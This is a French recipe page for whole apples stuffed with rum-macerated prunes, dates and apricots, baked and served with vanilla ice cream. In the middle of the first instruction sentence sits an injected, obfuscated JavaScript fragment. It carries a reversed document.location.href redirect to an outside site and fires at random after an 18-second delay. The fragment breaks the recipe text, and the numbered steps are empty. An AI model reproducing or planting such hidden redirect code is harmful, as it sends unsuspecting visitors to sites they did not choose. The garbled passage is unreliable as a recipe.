Pommes entières farcies avec des fruits secs
2021-06-08- Cuisine : Farcis
- Thématique : Végétarien
- Niveau : Difficile
Coupez en deux les pruneaux, ôtez le noyau et détaillez les en tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout petits dés ainsi que les dattes et les abricots.
Ingrédients
Coupez en deux les pruneaux, ôtez le noyau et détaillez les en tout petits dés ainsi que les dattes et les abricots. Dans un récipient mélangez le rhum, l'eau et le sucre en poudre, ajoutez tous les fruits secs et faites macérer pendant 30 minutes.
Rincez, séchez les pommes. Avec un vide pomme évidez les. Garnissez le cœur de chaque pomme avec les fruits secs et une noix de beurre. Déposez les pommes dans un plat à gratin avec fond d'eau pour éviter qu'elles ne brûlent.
Saupoudrez de sucre roux. Préchauffez le four à 210° C thermostat 7. Enfournez et faites cuire pendant 35 minutes. Les pommes doivent être dorées. Laissez refroidir. Servez avec une glace à la vanille
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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